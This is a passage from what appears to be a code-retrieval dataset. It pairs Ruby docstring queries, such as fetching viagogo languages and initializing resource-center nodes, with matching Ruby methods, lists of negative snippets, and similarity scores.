"def language(doc)\n node = doc.at('/html/@lang')\n if node\n lang = node.text\n if lang.present?\n lang.split(/[^a-zA-Z]/, 2).first.downcase\n end\n end\n end"
] |
[
"0.8134371",
"0.7980619",
"0.79467326",
"0.7790671",
"0.72376686",
"0.70618623",
"0.70618623",
"0.69555134",
"0.69136465",
"0.6901044",
"0.6867622",
"0.6846721",
"0.6832575",
"0.6672108",
"0.6647176",
"0.66273105",
"0.66273105",
"0.66273105",
"0.6605971",
"0.66049254",
"0.657838",
"0.6489292",
"0.6454984",
"0.6441458",
"0.63741255",
"0.63358516",
"0.6323457",
"0.63013875",
"0.62805283",
"0.62658155",
"0.62658155",
"0.62658155",
"0.62658155",
"0.62658155",
"0.62658155",
"0.62658155",
"0.62658155",
"0.6265742",
"0.62278646",
"0.6210134",
"0.62029594",
"0.6194659",
"0.6193202",
"0.61897284",
"0.6180534",
"0.61710197",
"0.6164555",
"0.6163184",
"0.616228",
"0.61574954",
"0.61563915",
"0.61421806",
"0.6127138",
"0.61245865",
"0.6123869",
"0.6118517",
"0.61102515",
"0.61027604",
"0.6080647",
"0.6080647",
"0.60766107",
"0.6072436",
"0.6065805",
"0.60539454",
"0.60539454",
"0.60527503",
"0.6043835",
"0.6027464",
"0.6021193",
"0.60119814",
"0.6000941",
"0.5984457",
"0.5980767",
"0.59763193",
"0.59722316",
"0.59722316",
"0.59722316",
"0.59722316",
"0.5967403",
"0.59588134",
"0.59564316",
"0.5955361",
"0.5950113",
"0.59392",
"0.59329516",
"0.59269387",
"0.59269387",
"0.59269387",
"0.59269387",
"0.5923339",
"0.59201133",
"0.591171",
"0.59056574",
"0.5901884",
"0.5901884",
"0.58913165",
"0.58728415",
"0.5869744",
"0.5866216",
"0.58622193"
] |
0.78166837
|
3
|
Retrieves all languages supported by viagogo
|
def get_languages(options = {})
object_from_response(GogoKit::PagedResource,
GogoKit::LanguagesRepresenter,
:get,
get_root.links['viagogo:languages'].href,
options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def languages\n get(\"/repos/show/#{owner.login}/#{name}/languages\")['languages']\n end",
"def getLangs\r\n result = self.class.get '/getLangs', { query:{ key:@@api_key } }\r\n check_result result\r\n end",
"def languages(options={})\n res = self.get \"/translate/service/languages\", :query => options\n check_for_errors(res)\n res['response']\n end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n return [] if @grpc.property.nil?\n detected_languages = @grpc.property.detected_languages\n @languages ||= Array(detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n return [] if @grpc.property.nil?\n @languages ||= Array(@grpc.property.detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def languages\n translations.map(&:language)\n end",
"def get_language_list\n call :get_language_list\n end",
"def display_all_languages\n # Interface method\n end",
"def list_lang\n call! :list_lang\n end",
"def get_languages\n response = get_siteinfo('languages')\n ret = {}\n response['query']['languages'].each { |l| ret[l['code']] = l['*'] }\n ret\n end",
"def get_ocr_supported_languages\n path = '/v3/miscellaneous/ocr-languages-list'\n\n headers = {\n 'Content-Type' => 'application/json',\n 'User-Agent' => Config.user_agent\n }\n request = Net::HTTP::Get.new(path, headers)\n handle_response(@api_client.request(request), 'get_ocr_supported_languages')\n end",
"def languages\n value.document.fetch(\"#{value.key}_lang\", [])\n end",
"def getlist\r\n result = SUPPORTED_LANG_LIST\r\n end",
"def available_languages\n AppConfig.available_languages\n end",
"def select_languages_localized\n available_languages.map{ |x| known_languages.assoc(x)}.map{ |y| [y[2],y[0]]}.sort!\n end",
"def all_languages\n project_file = XCProjectFile.new(@xcode_proj_path)\n project_file.project[\"knownRegions\"].select { |r| r != \"Base\" }\n end",
"def all_languages\n project_file = XCProjectFile.new(@xcode_proj_path)\n project_file.project[\"knownRegions\"].select { |r| r != \"Base\" }\n end",
"def get_voice_languages\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/voice/lang'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def loaded_languages\n @@languages.keys\n end",
"def get_languages\r\n @xml_doc.xpath(\"/TextDatabase/Languages/Language\").inject([]) do |languages, lang_node|\r\n language = empty_to_nil(lang_node[\"Id\"])\r\n languages.push(language)\r\n end\r\n end",
"def languages\n ['HTML', 'Javascript', 'CSS', 'PHP', 'ERB', 'Ruby', 'Objective-C']\n end",
"def languages\n h2 :languages\n p (langs = @record.languages).empty? ? '-' : langs.map(&:to_s).join(', ')\n gap\n end",
"def languages\n return @languages\n end",
"def all_languages\n Dir.entries(metadata_path)\n .select { |f| File.directory? File.join(metadata_path, f) }\n .reject { |f| f.start_with?('.') }\n .sort { |x, y| x <=> y }\n end",
"def select_languages_native\n available_languages.map{ |x| known_languages.assoc(x)}.map{ |y| [y[1],y[0]]}.sort!\n end",
"def languages\n @bio.fetch('Languages')\n end",
"def get_voice_languages\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/voice/lang'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # validate response against endpoint and global error codes\r\n if _context.response.status_code == 404\r\n return nil\r\n end\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n return _context.response.raw_body\r\n end",
"def all\n @raw.map { |l| l['language'] }\n end",
"def translate_list_language_names project_id:, language_code: \"en\"\n # [START translate_list_language_names]\n # project_id = \"Your Google Cloud project ID\"\n\n # To receive the names of the supported languages, provide the code\n # for the language in which you wish to receive the names\n # language_code = \"en\"\n\n require \"google/cloud/translate\"\n\n translate = Google::Cloud::Translate.translation_v2_service project_id: project_id\n languages = translate.languages language_code\n\n puts \"Supported languages:\"\n languages.each do |language|\n puts \"#{language.code} #{language.name}\"\n end\n # [END translate_list_language_names]\nend",
"def available_locales\n resource.translations.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end",
"def accepted_locales\n http_accept_language = request.env['HTTP_ACCEPT_LANGUAGE']\n return [] if http_accept_language.blank?\n langs = http_accept_language.scan(/([a-zA-Z]{2,4})(?:-[a-zA-Z]{2})?(?:;q=(1|0?\\.[0-9]{1,3}))?/).map do |pair|\n lang, q = pair\n [lang.to_sym, (q || '1').to_f]\n end\n langs.sort_by { |lang, q| q }.map { |lang, q| lang }.reverse.uniq\n end",
"def lang_files\n @@languages\n end",
"def languages_as_uri\n languages.pluck(:name).map do |language|\n ControlledVocabulary.era.language.from_value(language)\n end\n end",
"def list_languages\n\t\trender json: Language.all.to_json\n\tend",
"def languages\n @selects = YAML.load_file(\"#{ExpressTranslate.root}/config/languages.yml\")\n @origin = Language.get_origin(params[:packages])\n @origin_keys = @origin.present? ? LanguageDetail.info(@origin).all.collect{|x| x['code']} : []\n @languages = Package.find(params[:packages])['language']\n @max = @origin.nil? ? 1 : LanguageDetail.info(@origin).all.count\n @LanguageDetail = LanguageDetail\n @Package = Package\n render :action => :languages, layout: 'express_translate/translate'\n end",
"def languages\n @xml.xpath('//language').map do |lang|\n lang.text.to_s.gsub(/\\.|\\,/,'').strip.capitalize.gsub(\"Finding aid written in english\", \"English\")\n end.uniq\n end",
"def languages\n result = []\n @mods_ng_xml.language.each { |n|\n # get languageTerm codes and add their translations to the result\n n.code_term.each { |ct|\n if ct.authority.match(/^iso639/)\n begin\n vals = ct.text.split(/[,|\\ ]/).reject {|x| x.strip.length == 0 }\n vals.each do |v|\n result << ISO_639.find(v.strip).english_name\n end\n rescue => e\n p \"Couldn't find english name for #{ct.text}\"\n result << ct.text\n end\n else\n result << ct.text\n end\n }\n # add languageTerm text values\n n.text_term.each { |tt|\n val = tt.text.strip\n result << val if val.length > 0\n }\n\n # add language values that aren't in languageTerm subelement\n if n.languageTerm.size == 0\n result << n.text\n end\n }\n result.uniq\n end",
"def available_locales\r\n ::LinguaFranca.available_locales\r\n end",
"def index\n if params[\"search\"]\n @languages = Language.search_by_language(params[\"search\"])\n else\n @languages = Language.all\n end\n end",
"def languages(repo, options = {})\n paginate \"#{Repository.path repo}/languages\", options\n end",
"def index\n @langopts = Langopt.all\n end",
"def supported_languages\n return self.supported_locales.present? ? self.supported_locales : [\"en\"]\n end",
"def available_locales\n []\n end",
"def languages(options = {})\n Babel.distances(self, options).map() {|item| item.first}\n end",
"def index\n\t\t@languages = Language.all\n\t\t@title = t(\"translate.title\")\n\t\trespond_with @languages\n\tend",
"def available_locales\n translations = Dir.glob('config/locales/*').map { |locale| locale.split('/').last.split('.').first }\n locales = []\n translations.each do |t|\n value = (t == 'zh' ? 'zh-CN' : t)\n locales << [LanguageList::LanguageInfo.find(t).name, value]\n end\n locales\n end",
"def languages\n return [:en] unless abstract_form_valid?\n l = questions.collect { |q| (q.qtext.is_a?(Hash) ? q.qtext.keys : nil) }.flatten.compact.uniq\n (l.nil? || l.empty?) ? [:en] : l\n end",
"def addl_languages_names\n self.dig_for_array(\"addlLanguageNames\")\n end",
"def languages\n documents.collect(&:sections).flatten.collect(&:examples).flatten.map(&:language).compact.uniq\n end",
"def user_languages_hash\n result = Hash.new\n\n I18n.available_locales.each do |locale|\n result[t(\"languages.#{locale.to_s}\")] = locale.to_s\n end\n \n return result\n end",
"def languages_as_uri\n languages.pluck(:name).map do |language|\n CONTROLLED_VOCABULARIES[:language].send(language)\n end\n end",
"def loaded_languages\n @@cached_language_data.keys\n end",
"def available_locales\n locales = Language.sorted_by_abbreviation.pluck(:abbreviation).presence if Language.table_exists?\n (locales.presence || [default_locale])\n end",
"def available_locales\n translation_model.all(:fields => [:locale_tag], :unique => true).map { |t| t.locale }\n end",
"def languages\n document.search(\"h5[text()='Language:'] ~ a[@href*=/language/']\").map { |link| link.innerHTML.strip.imdb_unescape_html } rescue []\n end",
"def available_locales\n @available_locales ||= self.languages.published\n end",
"def index\n context = SearchProgrammingLanguages.call(search_string: index_params[:search])\n @programming_languages = context.result\n end",
"def languages=(value)\n @languages = value\n end",
"def accepted_languages()\n # no language accepted\n return [] if request.env[\"HTTP_ACCEPT_LANGUAGE\"].nil?\n \n # parse Accept-Language\n accepted = request.env[\"HTTP_ACCEPT_LANGUAGE\"].split(\",\")\n accepted = accepted.map { |l| l.strip.split(\";\") }\n accepted = accepted.map { |l|\n if (l.size == 2)\n # quality present\n #[ l[0].split(\"-\")[0].downcase, l[1].sub(/^q=/, \"\").to_f ]\n else\n # no quality specified => quality == 1\n #[ l[0].split(\"-\")[0].downcase, 1.0 ]\n ll = l[0].split(\"-\")\n if (ll.size > 1)\n [ll[0], ll[1].upcase]\n else\n []\n end\n end\n }\n accepted[0].join(\"-\") if accepted[0]\n end",
"def index\n @languages = Language.all\n end",
"def available_locales\n init_translations unless initialized?\n translations.inject([]) do |locales, (locale, data)|\n locales << locale unless (data.keys - [:i18n]).empty?\n locales\n end\n end",
"def language_options(current_value = nil)\n standard_options = [ [t('patient.helper.language.English'),nil] ]\n full_set = standard_options + Config.find_or_create_by(config_key: 'language').options\n\n options_plus_current(full_set, current_value)\n end",
"def languages_spoken\n self.dig_for_array(\"languagesSpoken\")\n end",
"def available_locales; end",
"def available_locales; end",
"def languages\n @item_attributes.first.languages.first.language.inject([]) do |m, l|\n m << (l.send('name').to_s rescue nil)\n m\n end.compact.uniq\n end",
"def available_translations\n {\n 'en' => 'English',\n 'es' => 'Español',\n 'pt-BR' => 'Português do Brasil'\n }\n end",
"def language_codes_for_select\n configuration(:languages).collect { |language|\n language[:language_code]\n }\n end",
"def language_codes_for_select\n configuration(:languages).collect{ |language|\n language[:language_code]\n }\n end",
"def available_translations\n missing_locales = Gallifreyian::Configuration.available_locales - translations.map(&:language)\n missing_locales.each do |locale|\n self.translations << Gallifreyian::Translation::I18nKey.new(language: locale)\n end\n self.translations.order_by({:language => :asc})\n end",
"def language_options_for_select\n LanguageDictionary.instance.options_for_select\n end",
"def languages(*values)\n values.inject(self) { |res, val| res._languages(val) or fail ArgumentError, \"Unknown value for languages: #{val}\" }\n end",
"def index\n @user_languages = UserLanguage.all.to_a\n end",
"def other_languages_for_page(page)\n page_lang = @context.registers[:page]['language']\n langs = @context.registers[:site].config['languages'].reject {|l| l == page_lang }.find_all do |l|\n exists_in_language(page, l)\n end\n # puts \"other_languages_for_page(#{page}) = #{langs}\"\n langs\n end",
"def get_locales\n fall_back = [:ru].to_yaml\n locales = CustomSetting.find_or_create_by_name(\"languages\").value || fall_back\n begin\n locales = YAML::load(locales)\n rescue\n locales = YAML::load(fall_back)\n end\n end",
"def index\n @langues = Langue.all\n end",
"def available_locales\n evaluate_localization_option!(:available_locales)\n end",
"def languages_required\n possible_languages = {\n java: nil,\n javascript: nil,\n ruby: nil,\n python: nil,\n scala: nil,\n clojure: nil,\n go: nil,\n node: nil\n }\n description = @description.downcase\n\n possible_languages.each do |language, value|\n if description.include?(language.to_s)\n possible_languages[language] = true\n else\n possible_languages[language] = false\n end\n end\n\n possible_languages\n end",
"def language_strings(data_version = nil)\n language_string = get(resource_path('language-strings'), @version, version: data_version)\n RiotGamesApi::LOL::Model::StaticData::LanguageString.new language_string\n end",
"def index\n @languages = Language.all.order(:name)\n @path_langu = request.path.starts_with? '/langu'\n end",
"def translate_v3_get_supported_languages_for_target\n # [START translate_v3_get_supported_languages_for_target]\n require \"google/cloud/translate\"\n\n client = Google::Cloud::Translate.new\n\n project_id = \"[Google Cloud Project ID]\"\n location_id = \"[LOCATION ID]\"\n language_code = \"en\"\n\n parent = client.class.location_path project_id, location_id\n\n response = client.get_supported_languages parent, display_language_code: language_code\n\n # List language codes of supported languages\n response.languages.each do |language|\n puts \"Language Code: #{language.language_code}\"\n puts \"Display Name: #{language.display_name}\"\n end\n # [END translate_v3_get_supported_languages_for_target]\nend",
"def languages\n grouped_language_files.map do |language, stats|\n additions = summarize(stats, :additions)\n deletions = summarize(stats, :deletions)\n net = summarize(stats, :net)\n LanguageSummary.new(language, additions, deletions, net, added_files, deleted_files, modified_files)\n end\n end",
"def languages\n array = []\n details.css(\"div.txt-block a[href^='/language/']\").each do |node|\n array << {:code => node['href'].clean_href, :name => node.text.strip}\n end\n\n array\n end",
"def available_locales_set; end",
"def index\n @r_languages = RLanguage.all\n end",
"def repos_languages_data(git_user)\n allRepos = []\n github = Github.new oauth_token: current_employee.github_account.oauth_token\n myRepos = github.repos.list user: git_user\n myRepos.each do |repo|\n repo_languages = github.repos.languages git_user, repo.name\n repoHash = repo_languages.to_hash\n repoHash[\"name\"] = repo.name\n repoHash[\"created_at\"] = repo.created_at\n repoHash[\"updated_at\"] = repo.updated_at\n allRepos.push(repoHash.symbolize_keys!)\n end\n allRepos\n end",
"def index\n @locales = Tolk::Locale.secondary_locales.sort_by(&:language_name)\n end",
"def translations_for_select\n configuration(:translations).collect{ |translation|\n [translation[:language], translation[:language_code]]\n }\n end",
"def language(id, params = {})\n get \"languages/#{id}\", {query: params}\n end",
"def verify_available_version_languages!(options, app, languages)\n platform = Spaceship::ConnectAPI::Platform.map(options[:platform])\n version = fetch_edit_app_store_version(app, platform)\n\n unless version\n UI.user_error!(\"Cannot update languages - could not find an editable version for '#{platform}'\")\n return\n end\n\n localizations = version.get_app_store_version_localizations\n\n languages = (languages || []).reject { |lang| lang == \"default\" }\n locales_to_enable = languages - localizations.map(&:locale)\n\n if locales_to_enable.count > 0\n lng_text = \"language\"\n lng_text += \"s\" if locales_to_enable.count != 1\n Helper.show_loading_indicator(\"Activating version #{lng_text} #{locales_to_enable.join(', ')}...\")\n\n locales_to_enable.each do |locale|\n version.create_app_store_version_localization(attributes: {\n locale: locale\n })\n end\n\n Helper.hide_loading_indicator\n\n # Refresh version localizations\n localizations = version.get_app_store_version_localizations\n end\n\n return localizations\n end",
"def all_locales\n configatron.full_locales | preferred_locales\n end",
"def video_previews_in_all_languages\n previews = []\n (videos[:list][:es] + [videos[:featured][:es]]).compact.each do |video|\n filename = video.sub(/#{Pathname.new(video).extname}$/, '')\n video_filename_without_extension = filename.gsub(/_(#{Document::LANGUAGES.join('|')})$/, '')\n previews << \"#{class_multimedia_path}#{video_filename_without_extension}.jpg\"\n Document::LANGUAGES.each do |l|\n previews<< \"#{class_multimedia_path}#{video_filename_without_extension}_#{l}.jpg\"\n end\n end\n return previews\n end",
"def available_locales\n self.locales.map { |locale| locale.to_sym }\n end",
"def verify_available_languages!(options)\n return if options[:skip_metadata]\n\n # Collect all languages we need\n # We only care about languages from user provided values\n # as the other languages are on iTC already anyway\n v = options[:app].edit_version(platform: options[:platform])\n UI.user_error!(\"Could not find a version to edit for app '#{options[:app].name}', the app metadata is read-only currently\") unless v\n\n enabled_languages = options[:languages] || []\n LOCALISED_VERSION_VALUES.each do |key|\n current = options[key]\n next unless current && current.kind_of?(Hash)\n current.each do |language, value|\n language = language.to_s\n enabled_languages << language unless enabled_languages.include?(language)\n end\n end\n\n # Reject \"default\" language from getting enabled\n # because \"default\" is not an iTC language\n enabled_languages = enabled_languages.reject do |lang|\n lang == \"default\"\n end.uniq\n\n if enabled_languages.count > 0\n v.create_languages(enabled_languages)\n lng_text = \"language\"\n lng_text += \"s\" if enabled_languages.count != 1\n Helper.show_loading_indicator(\"Activating #{lng_text} #{enabled_languages.join(', ')}...\")\n v.save!\n Helper.hide_loading_indicator\n end\n true\n end",
"def supported_language_codes\n language_codes = TranslationsHelper.supported_language_codes\n\n if language_codes.empty?\n return_error_infos(400, 'Error no supported languages', 'TranslationError', nil)\n else\n render :status => 200, :json => { :language_codes => language_codes }\n end\n end",
"def GetLocales params = {}\n\n params = params.merge(path: 'locales.json')\n APICall(params)\n\n end",
"def index\n @languagenames = Languagename.all\n end"
] |
[
"0.76657796",
"0.7632284",
"0.7330026",
"0.73059833",
"0.73059833",
"0.73059833",
"0.73059833",
"0.73032004",
"0.7302997",
"0.7261865",
"0.7191352",
"0.70859873",
"0.7085354",
"0.7063622",
"0.7044665",
"0.7030011",
"0.7010002",
"0.6884094",
"0.68162036",
"0.68162036",
"0.6793894",
"0.67905253",
"0.6761937",
"0.67418474",
"0.6727357",
"0.6718281",
"0.6708373",
"0.66843134",
"0.66389155",
"0.6606901",
"0.6598925",
"0.6574097",
"0.6567759",
"0.65647435",
"0.6560835",
"0.65544754",
"0.6544452",
"0.65303856",
"0.6518466",
"0.6516021",
"0.64825356",
"0.6462165",
"0.6452676",
"0.64375055",
"0.6429472",
"0.64255077",
"0.6423438",
"0.641882",
"0.64035374",
"0.63743776",
"0.6366653",
"0.6362089",
"0.63567966",
"0.63389105",
"0.63340974",
"0.6320701",
"0.6310924",
"0.6302441",
"0.6299409",
"0.6281615",
"0.6278077",
"0.62567836",
"0.6243146",
"0.6232656",
"0.6216685",
"0.6205915",
"0.6189376",
"0.6189376",
"0.6188689",
"0.61806285",
"0.6175013",
"0.61697495",
"0.614786",
"0.61400855",
"0.6138333",
"0.6121968",
"0.6104571",
"0.6098117",
"0.6095973",
"0.6086372",
"0.6049294",
"0.6027791",
"0.601233",
"0.6011667",
"0.6006674",
"0.60035825",
"0.5972361",
"0.5966036",
"0.5961354",
"0.59578454",
"0.592939",
"0.592819",
"0.5928111",
"0.5924865",
"0.5924822",
"0.59231293",
"0.59150046",
"0.59086347",
"0.5902972",
"0.59015965"
] |
0.753234
|
2
|
node can be the resourceCenter node, in which case child data is loaded, otherwise child data is lazy loaded leave node and parent nil if you want to load the resourceCenter initial data here
|
def initialize(rc, parent = nil, node = nil)
@parent = parent
@rc = rc
unless node
@community = rc.community
node = get_files_and_folders_xml.root
end
if node.name == 'resourcecenter'
root_xml = node
@node = (root_xml/'folders').first
# load children later so that id is set first, since sub-files verify the parent id
# matches what's given in their xml
load_children = true
else
@node = node
end
@id = @node[:id].to_i
@label = @node[:label]
@community = @node[:community]
load_children_from_xml(root_xml) if load_children
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fetch(*_args, &_block)\n resource = super\n return resource if top_level_element?\n\n parent_hierarchy.each do |p|\n p.first.top_level_element = true\n p.first.fetch\n end\n resource\n end",
"def init_with_node(node)\n @internal_node = node\n self.classname = self.class.to_s unless @internal_node.hasProperty(\"classname\")\n $NEO_LOGGER.debug {\"loading node '#{self.class.to_s}' node id #{@internal_node.getId()}\"}\n end",
"def set_parent_resource(resource = nil)\n resource ||= parent_resource_class.find_by_uid(parent_params)\n instance_variable_set(\"@#{parent_resource_name}\", resource)\n end",
"def initialize(resource)\n if self.class.parsed_NFS == {}\n self.class.prefetch(resource)\n end\n super\n end",
"def parent=(resource)\n @parent = resource\n end",
"def build_resource(node)\n resource = root_resource(node)\n \n node.elements.each do |el|\n type = calculate_node_type(el)\n resource.values << case type\n \n when :link : build_link(el, type)\n when :datetime\n Restful.attr(el.name, DateTime.parse(el.text), type)\n when :resource\n build_resource(el)\n when :array\n Restful.collection(el.name, el.elements.map { |child| build_resource(child) }, type)\n else \n Restful.attr(el.name, el.text, type)\n end\n end\n\n resource\n end",
"def node\r\n\t\t\tparent\r\n\t\tend",
"def resource\n (@nested_resource || @root_resource)\n end",
"def node\n @node ||= RestClient::Resource.new(url, CloudCrowd.client_options)\n end",
"def parent_resource\n @parent_resource ||=\n begin\n return nil if resource.try(:imported_metadata).present?\n Wayfinder.for(resource).parent\n end\n end",
"def get_from_root_node(attr)\n if @parent.nil?\n instance_variable_get(\"@#{attr}\")\n else\n @parent.get_from_root_node(attr)\n end\n end",
"def parent\n @parent ||= resource.decorate.parent\n end",
"def retrieve_data\n if is_fork?\n parent.data\n else\n self.read_attribute(\"data\")\n end\n end",
"def parent(resource)\n if @resource_config[:parent]\n raise DefinitionError, \"parent already declared in #{self}\"\n end\n @resource_config[:parent] = resource\n end",
"def parent\n @parent || NullResource.new\n end",
"def parent_association\n @parent_object=parent_object # ResourceController normally sets this\n if params[:id].nil?\n return parent_object.all_parent_relations \n end\n # Gotta find it seperately, will get a recursive stack error elsewise\n o = FeatureRelation.find(params[:id])\n parent_object.id == o.parent_node.id ? parent_object.all_child_relations : parent_object.all_parent_relations\n end",
"def scope_data_class(params, &block)\n if config[:parent_key]\n # The value of the pri property of the expanded node is passed as params[:id] ('root' for the root collection)\n if params[:id].nil? || params[:id] == 'root'\n data_class.where(config[:parent_key] => nil).scoping do\n yield\n end\n else\n data_class.where(config[:parent_key] => params[:id]).scoping do\n yield\n end\n end\n else\n yield\n end\n end",
"def load_resource_with_associated_resources\n item = load_resource\n load_storage_system(item)\n\n # item.set_storage_pool(OneviewSDK::StoragePool.new(item.client, name: storage_pool)) if storage_pool\n # Workaround for issue in oneview-sdk:\n if storage_pool\n sp = OneviewSDK::StoragePool.find_by(item.client, name: storage_pool, storageSystemUri: item['storageSystemUri']).first\n raise \"Storage Pool '#{sp['name']}' not found\" unless sp\n item['storagePoolUri'] = sp['uri']\n end\n\n if snapshot_pool\n snapshot_pool_resource = OneviewSDK::StoragePool.find_by(item.client, name: snapshot_pool, storageSystemUri: item['storageSystemUri']).first\n item.set_snapshot_pool(snapshot_pool_resource)\n end\n item.set_storage_volume_template(OneviewSDK::VolumeTemplate.new(item.client, name: volume_template)) if volume_template\n\n # Convert capacity integers to strings\n item['provisionedCapacity'] = item['provisionedCapacity'].to_s if item['provisionedCapacity']\n item['allocatedCapacity'] = item['allocatedCapacity'].to_s if item['allocatedCapacity']\n\n unless item.exists? # Also set provisioningParameters if the volume does not exist\n item['provisioningParameters'] ||= {}\n item['provisioningParameters']['shareable'] = item['shareable'] if item['provisioningParameters']['shareable'].nil?\n item['provisioningParameters']['provisionType'] ||= item['provisionType']\n item['provisioningParameters']['requestedCapacity'] ||= item['provisionedCapacity']\n item['provisioningParameters']['storagePoolUri'] ||= item['storagePoolUri']\n end\n item\n end",
"def load_resource_with_associated_resources\n item = load_resource\n load_storage_system(item)\n\n # item.set_storage_pool(OneviewSDK::StoragePool.new(item.client, name: storage_pool)) if storage_pool\n # Workaround for issue in oneview-sdk:\n if storage_pool\n sp = OneviewSDK::StoragePool.find_by(item.client, name: storage_pool).first\n raise \"Storage Pool '#{sp['name']}' not found\" unless sp\n item['storagePoolUri'] = sp['uri']\n end\n\n item.set_snapshot_pool(OneviewSDK::StoragePool.new(item.client, name: snapshot_pool)) if snapshot_pool\n item.set_storage_volume_template(OneviewSDK::VolumeTemplate.new(item.client, name: volume_template)) if volume_template\n\n # Convert capacity integers to strings\n item['provisionedCapacity'] = item['provisionedCapacity'].to_s if item['provisionedCapacity']\n item['allocatedCapacity'] = item['allocatedCapacity'].to_s if item['allocatedCapacity']\n\n unless item.exists? # Also set provisioningParameters if the volume does not exist\n item['provisioningParameters'] ||= {}\n item['provisioningParameters']['shareable'] = item['shareable'] if item['provisioningParameters']['shareable'].nil?\n item['provisioningParameters']['provisionType'] ||= item['provisionType']\n item['provisioningParameters']['requestedCapacity'] ||= item['provisionedCapacity']\n item['provisioningParameters']['storagePoolUri'] ||= item['storagePoolUri']\n end\n item\n end",
"def find_resource\n if parent_data.present?\n parent.send(collection_name).find(params[:id])\n else\n model_class.find_by!(account_id: current_account.id, id: params[:id])\n end\n end",
"def parent=(parent_node); end",
"def parent=(parent_node); end",
"def load_parent\r\n @arch_decision = ArchDecision.find(get_id_from_params(\"arch_decision\")) if get_id_from_params(\"arch_decision\")\r\n @factor = Factor.find(get_id_from_params(\"factor\")) if get_id_from_params(\"factor\")\r\n @strategy = Strategy.find(get_id_from_params(\"strategy\")) if get_id_from_params(\"strategy\")\r\n end",
"def get_place_info_and_parent_place_info_from_node_xpath(taxonomy_doc,xpath)\n data_objects = []\n while xpath.count(\"node\") > 1\n taxonomy_doc.xpath(\"/\" + xpath.join(\"/\")).each do |node|\n atlas_id = node.attributes[\"atlas_node_id\"].value\n parent_atlas_id = node.parent.attributes[\"atlas_node_id\"].value\n placename = get_place_name(node.children)\n parent_placename = get_place_name( node.parent.children)\n data_objects << {atlas_id: atlas_id, parent_atlas_id: parent_atlas_id, name: placename, parent_name: parent_placename}\n end\n xpath.pop\n end\n data_objects\n end",
"def init_with_node(node)\n super\n @persisted = true\n end",
"def get_parent_resource\n instance_variable_get(\"@#{parent_resource_name}\")\n end",
"def init_node\n end",
"def init_node\n end",
"def load_node(name)\n Chef::Log.debug(\"Loading Chef Node #{name} from CouchDB\")\n @node = Chef::Node.load(name)\n Chef::Log.debug(\"Loading Recipe for Chef Node #{name}\")\n @node.find_file(name)\n @node\n end",
"def node(data)\n if (data['provisioning'])\n if(data['provisioning']['node_group'] && data['provisioning']['node_group']['size'])\n Topo::Provision::NodeGroupGenerator.new(data)\n else \n Topo::Provision::MachineGenerator.new(data)\n end\n else\n Topo::Provision::ChefNodeGenerator.new(data)\n end \n end",
"def parent\n self.node && self.node.parent && self.node.parent.content\n end",
"def lazy_set_parent_element_in_self( key, optional_object = nil, passed_optional_object = false )\n\n object = nil\n \n parent_hash = @key_requires_lookup.delete( key )\n \n object = passed_optional_object ? optional_object : parent_hash[ key ]\n\n unless @without_child_hooks\n object = child_pre_set_hook( key, object, parent_hash )\n if ::Hash::Compositing::DoNotInherit.equal?( object )\n delete( key )\n return nil\n end\n end\n\n non_cascading_store( key, object )\n \n unless @without_child_hooks\n object = child_post_set_hook( key, object, parent_hash )\n end\n \n return object\n \n end",
"def parent\n @parent or raise LifecycleException.new(\"can't call parent until you materialize the resource\")\n end",
"def parent=(node)\r\n if node != nil and node.kind_of?(Entity) == false\r\n raise \"Entity's parent must be an Entity\"\r\n end\r\n super\r\n end",
"def show\n if(params.has_key?(:children))\n if(params[:children] == \"true\")\n @node = Node.find(params[:id]).children\n end\n else\n @node = Node.find(params[:id])\n end\n render json: @node\n end",
"def parentage\n get_parents unless @already_fetched_parents\n @already_fetched_parents = true\n super\n end",
"def ar_verify_parent_resource\r\n parent= ardata.parent_resources.select { |res| res.model == @parent_resource.class }\r\n \r\n real_parent= @resource.send(parent.first.singular)\r\n \r\n if @parent_resource.to_param != real_parent.to_param\r\n @parent_resource= real_parent\r\n ar_set_parent_instance_var if @parent_resource\r\n end\r\n end",
"def set_inheritance_root\n @is_content_inheritance_root = true\n dataset.row_proc = Spontaneous::Content.dataset.row_proc\n end",
"def prepare_refresh_before_update\n @parent_id_before = self.class.find(self.id).read_attribute(parent_id_column)\n end",
"def children()\n #Ressource.filter(:parent_id => self.id, :parent_service_id => self.service_id).all\n end",
"def resource\n # Appending the graph at the end is necessary because adding it as the\n # parent leaves behind triples not related to the ldp_source's rdf\n # subject.\n @resource ||= self.class.resource_class.new(@ldp_source.graph.rdf_subject, data: @ldp_source.graph.graph.data)\n end",
"def initialize(data, parent = nil)\n @data = data\n @children = []\n @parent = parent\n end",
"def get_node(node)\n return nil unless node[:name]\n\n #Convert the node into a Key string and fetch the corresponding data\n key = Keyify.node(node)\n value = @db.n_get(key)\n\n if value\n new_node = Marshal.load(value)\n new_node[:name] = node[:name]\n new_node[:type] = node[:type] || Config::DEFAULT_TYPE\n new_node\n end\n end",
